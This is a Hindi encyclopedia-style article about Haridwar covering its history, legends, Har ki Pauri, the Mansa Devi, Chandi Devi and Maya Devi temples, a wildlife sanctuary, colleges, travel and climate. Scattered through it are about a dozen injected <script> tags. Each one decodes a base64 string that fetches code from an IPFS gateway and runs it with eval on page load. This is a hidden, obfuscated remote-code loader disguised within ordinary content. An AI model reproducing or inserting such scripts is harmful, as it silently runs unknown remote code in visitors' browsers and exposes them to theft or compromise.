किंतु युवानच्वांग के समय तक (7वीं शती ई.) 'हरद्वार' का 'मायापुरी' नाम ही अधिक प्रचलित था। मध्य काल में इस स्थान की कई प्राचीन बस्तियों को, जिनमें 'मायापुरी', 'कनखल', 'ज्वालापुर' और 'भीमगोड़ा' मुख्य हैं, सामूहिक रूप से 'हरिद्वार' कहा जाने लगा था। हरिद्वार का सदा से ही ऋषियों की तपोभूमि माना जाता रहा है। कहा जाता है कि स्वर्गारोहण से पूर्व देवी लक्ष्मी ने 'लक्ष्मण झूला' स्थान के निकट तपस्या की थी।

पौराणिक उल्लेख

भारत के पौराणिक ग्रंथों और उपनिषदों में हरिद्वार को 'मायापुरी' कहा गया है। कहा जाता है समुद्र मंथन से प्राप्त किया गया अमृत यहाँ गिरा था। इसी कारण यहाँ कुंभ का मेला आयोजित किया जाता है। बारह वर्ष में आयोजित होने वाले कुंभ के मेले का यह महत्त्वपूर्ण स्थल है। पिछला कुंभ का मेला 1998 में आयोजित किया गया था। अगला कुंभ का मेला 2010 में यहाँ आयोजित किया ग्या था। हरिद्वार में ही राजा धृतराष्ट्र के मन्त्री विदुर ने मैत्री मुनि के यहाँ अध्ययन किया था। कपिल मुनि ने भी यहाँ तपस्या की थी।

आरती कुंभ मेला, हरिद्वार
Aarti Kumbh Mela, Haridwar

इसलिए इस स्थान को कपिलास्थान भी कहा जाता है। कहा जाता है कि राजा श्वेत ने हर की पौड़ी में भगवान ब्रह्मा की पूजा की थी। राजा की भक्ति से प्रसन्न होकर ब्रह्मा ने जब वरदान मांगने को कहा तो राजा ने वरदान मांगा कि इस स्थान को ईश्वर के नाम से जाना जाए। तब से हर की पौड़ी के जल को ब्रह्मकुण्ड के नाम से भी जाना जाता है।

धार्मिक स्थल

हर की पौड़ी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यह स्थान भारत के सबसे पवित्र घाटों में एक है। कहा जाता है कि यह घाट विक्रमादित्य ने अपने भाई भतृहरि की याद में बनवाया था। इस घाट को 'ब्रह्मकुण्ड' के नाम से भी जाना जाता है। वैसे तो गंगा में नहाने को ही मोक्ष देने वाला माना जाता है लेकिन किंवदन्ती है कि हर की पौडी में स्नान करने से जन्म जन्म के पाप धुल जाते हैं। शाम के वक़्त यहाँ महाआरती आयोजित की जाती है। गंगा नदी में बहते असंख्य सुनहरे दीपों की आभा यहाँ बेहद आकर्षक लगती है। हरिद्वार की सबसे अनोखी चीज़ है शाम होने वाली गंगा की आरती। हर शाम हज़ारों दीपकों के साथ गंगा की आरती की जाती है। पानी में दिखाई देती दीयों की रोशनी हज़ारों टिमटिमाते तारों की तरह लगती है। हरिद्वार में बहुत सारे मंदिर और आश्रम हैं।

मनसा देवी का मंदिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

हरिद्वार का मानचित्र
Haridwar Map

हर की पौडी के पीछे के बलवा पर्वत की चोटी पर मनसा देवी का मंदिर बना है। मंदिर तक जाने के लिए पैदल रास्ता है। मंदिर जाने के लिए रोप वे भी है। पहाड़ की चोटी से हरिद्वार का ख़ूबसूरत नज़ारा देखा जा सकता है। देवी मनसा देवी की एक प्रतिमा के तीन मुख और पांच भुजाएं हैं जबकि अन्य प्रतिमा की आठ भुजाएं हैं।

चंडी देवी मंदिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गंगा नदी के दूसरी ओर नील पर्वत पर यह मंदिर बना हुआ है। यह मंदिर कश्मीर के राजा सुचेत सिंह द्वारा 1929 ई. में बनवाया गया था। कहा जाता है कि आदिशंकराचार्य ने आठवीं शताब्दी में चंडी देवी की मूल प्रतिमा यहाँ स्थापित करवाई थी। किवदंतियों के अनुसार चंडी देवी ने शुंभ निशुंभ के सेनापति चंद और मुंड को यहीं मारा था। चंडीघाट से 3 किलोमीटर की ट्रैकिंग के बाद यहाँ पहुंचा जा सकता है। अब इस मंदिर के लिए भी रोप वे भी बना दिया गया है। रोप वे के बाद बडी संख्या में लोग मंदिर में जाने लगे हैं।

माया देवी मंदिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

माया देवी मंदिर भारत के प्रमुख शक्तिपीठों में एक है। कहा जाता है कि शिव की पत्नी सती का हृदय और नाभि यहीं गिरा था। माया देवी को हरिद्वार की अधिष्ठात्री देवी माना जाता है, जिसका इतिहास 11 शताब्दी से उपलब्ध है। मंदिर के बगल में 'आनंद भैरव का मंदिर' भी है। पर्व-त्योहारों के समय बड़ी संख्या में श्रद्धालु माया देवी मंदिर के दर्शन करने को पहुंचते हैं। प्राचीन काल से माया देवी मंदिर में देवी की पिंडी विराजमान है और 18वीं शताब्दी में इस मंदिर में देवी की मूर्तियों की प्राण प्रतिष्ठा की गई। इस मंदिर में धार्मिक अनुष्ठान के साथ ही तंत्र साधना भी की जाती है। हरिद्वार में भगवती की नाभि गिरी थी, इसलिए इस स्थान को ब्रह्मांड का केंद्र भी माना जाता है। हरिद्वार की रक्षा के लिए एक अद्भुत त्रिकोण विद्यमान है। इस त्रिकोण के दो बिंदु पर्वतों पर माँ मनसा और माँ चंडी रक्षा कवच के रूप में स्थित हैं तो वहीं त्रिकोण का शिखर धरती की ओर है और उसी अधोमुख शिखर पर भगवती माया आसीन हैं।

सप्तऋषि आश्रम

इस आश्रम के सामने गंगा नदी सात धाराओं में बहती है इसलिए इस स्थान को सप्त सागर भी कहा जाता है। माना जाता है कि जब गंगा नदी बहती हुई आ रही थीं तो यहाँ सात ऋषि गहन तपस्या में लीन थे। गंगा ने उनकी तपस्या में विघ्न नहीं डाला और स्वयं को सात हिस्सों में विभाजित कर अपना मार्ग बदल लिया। इसलिए इसे 'सप्‍त सागर' भी कहा जाता है।

दक्ष महादेव मंदिर, हरिद्वार
Daksh Mahadev Temple, Haridwar

दक्ष महादेव मंदिर

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यह प्राचीन मंदिर नगर के दक्षिण में स्थित है। सती के पिता राजा दक्ष की याद में यह मंदिर बनवाया गया है। किवदंतियों के अनुसार सती के पिता राजा दक्ष ने यहाँ एक विशाल यज्ञ का आयोजन किया था। यज्ञ में उन्होंने शिव को नहीं आमन्त्रित किया। अपने पति का अपमान देख सती ने यज्ञ कुण्ड में आत्मदाह कर लिया। इससे शिव के अनुयायी गण उत्तेजित हो गए और दक्ष को मार डाला। बाद में शिव ने उन्हें पुनर्जीवित कर दिया।

चीला वन्यजीव अभयारण्य

प्रकृति प्रेमियों के लिए हरिद्वार में राजाजी नेशनल पार्क भी है। राजाजी राष्ट्रीय पार्क के अन्तर्गत यह अभयारण्य आता है जो लगभग 240 वर्ग किलोमीटर के क्षेत्र में फैला हुआ है। यहाँ 23 स्तनपायी और 315 वन्य जीवों की प्रजातियाँ पाई जाती हैं। यहाँ हाथी, टाइगर, तेंदुआ, जंगली बिल्ली, सांभर, चीतल, बार्किग डि‍यर, लंगूर आदि जानवर हैं। अनुमति लेकर यहाँ फिशिंग का भी आनंद लिया जा सकता है।

शिक्षण संस्थान

यहाँ पर रुड़की विश्वविद्यालय[3], सरकारी आयुर्वेदिक कॉलेज और ॠषिकुल आयुर्वेदिक कॉलेज सहित अनेक कॉलेज हैं। यहाँ पर प्रसिद्ध गुरुकुल कांगड़ी विश्वविद्यालय भी है।

गुरुकुल कांगडी विश्वविद्यालय

गंगा नदी, हरिद्वार
Ganga River, Haridwar

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

यह विश्वविद्यालय शिक्षा का एक प्रमुख केन्द्र है। यहाँ पारंपरिक भारतीय पद्धति से शिक्षा प्रदान की जाती है। विश्वविद्यालय के परिसर में वेद मंदिर बना हुआ है। यहाँ पुरातत्त्व संबंधी अनेक वस्तुएं देखी जा सकती हैं। यह विश्वविद्यालय हरिद्वार-ज्वालापुर बाईपास रोड़ पर स्थित है।

कैसे पहुँचें

  • यात्री वायुमार्ग, रेलमार्ग या सड़कमार्ग द्वारा हरिद्वार पहुँच सकते हैं। इस स्थान का सबसे निकटतम घरेलू हवाई अड्डा 'जॉली ग्रांट हवाईअड्डा' है, जो लगभग 20 कि.मी. दूर स्थित है। यह दिल्ली के 'इंदिरा गांधी अंतर्राष्ट्रीय हवाईअड्डे' से भी नियमित उड़ानों द्वारा जुड़ा हुआ है।
  • सबसे निकटतम रेलवे स्टेशन हरिद्वार रेलवे स्टेशन है, जो भारत के सभी मुख्य शहरों से जुड़ा हुआ है।
  • देश के विभिन्न भागों से बसों द्वारा भी यहाँ पहुंचा जा सकता है। इसके अलावा नई दिल्ली से हरिद्वार के लिए नियमित अंतराल पर डीलक्स बसें उपलब्ध हैं।

मौसम

हरिद्वार में गर्मियों में गर्मी एवं सर्दियों में अत्यधिक ठंड पड़ती है और मानसून में वातावरण में आद्रता होती है। हरिद्वार में भ्रमण के लिये मानसून अच्छा समय नहीं है, क्योंकि इस दौरान मौसम बहुत असुविधाजनक होता है। हरिद्वार में भ्रमण करने के लिए सितम्बर से लेकर जून की बीच का समय सबसे उपयुक्त है, क्योंकि इस समय यहाँ मौसम सुहावना होता है।

जनसंख्या

हरिद्वार की जनसंख्या 2001 की जनगणना के अनुसार 1,75,010 है। और हरिद्वार ज़िले की कुल जनसंख्या 14,44,213 है।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वीथिका

टीका टिप्पणी और संदर्भ

  1. उत्तर प्रदेश से अलग कर नवगठित राज्य
  2. ऐतिहासिक स्थानावली से पेज संख्या 1007| विजयेन्द्र कुमार माथुर | वैज्ञानिक तथा तकनीकी शब्दावली आयोग | मानव संसाधन विकास मंत्रालय, भारत सरकार
  3. एशिया का सबसे पुराना सिविल इंजीनियरिंग कॉलेज

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


सुव्यवस्थित लेख